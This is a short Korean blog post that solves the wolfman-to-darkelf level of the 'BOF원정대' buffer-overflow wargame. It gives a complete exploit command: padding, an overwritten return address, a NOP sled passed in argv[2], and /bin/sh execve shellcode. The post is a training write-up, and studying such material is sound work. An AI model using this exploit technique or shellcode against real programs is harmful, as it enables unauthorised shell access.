nemo의 이야기

BOF원정대 wolfman -> darkelf 본문

Information security/System security

BOF원정대 wolfman -> darkelf

nemojjong 2018. 1. 8. 15:09

 

위 소스를 확인해보면

 

1. 스택 메모리만 사용해야 된다.

 

2. argv[1]에 길이에 제한을 걸어 48바이트 이상을 못 쓴다.

 

따라서 argv[2]애 쉘코드를 입력하여 공격하는 방식으로 하면 성공할 것 이다.

 

그러면 우선 argv[2]에 주소를 확인하여 argv[1]에 argv[2]에 주소를 넣어주자

 

 

avgv[0]에 주소가 bffffab4에 있다는 것을 확인 할 수 있다. 이제 argv[0]에서 부터 argv[2]에 있는 주소를 확인해보자

 

 

bffffbf0에 argv[2]가 있는 것을 확인 할 수 있다. 그러면 nop슬라이딩을 이용하여 공격해보자

 

 

공격 코드 : ./darkelf $(python -c 'print "A" * 44 + "\xf0\xfb\xff\xbf" + " " + "\x90" * 1000 + "\x31\xd2\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x52\x50\x89\xc3\x31\xc0\xb0\x0b\x89\xe1\xcd\x80"')

 

 

위와 같이 성공한 것을 확인할 수 있다.

 

 

 

'Information security > System security' 카테고리의 다른 글

BOF원정대 orge -> troll  (0) 2018.01.10
BOF원정대 darkelf -> orge  (0) 2018.01.08
BOF 원정대 orc -> wolfman  (0) 2017.10.30
BOF원정대 goblin -> orc  (0) 2017.10.08
BOF원정대 cobolt -> goblin  (0) 2017.10.05
Comments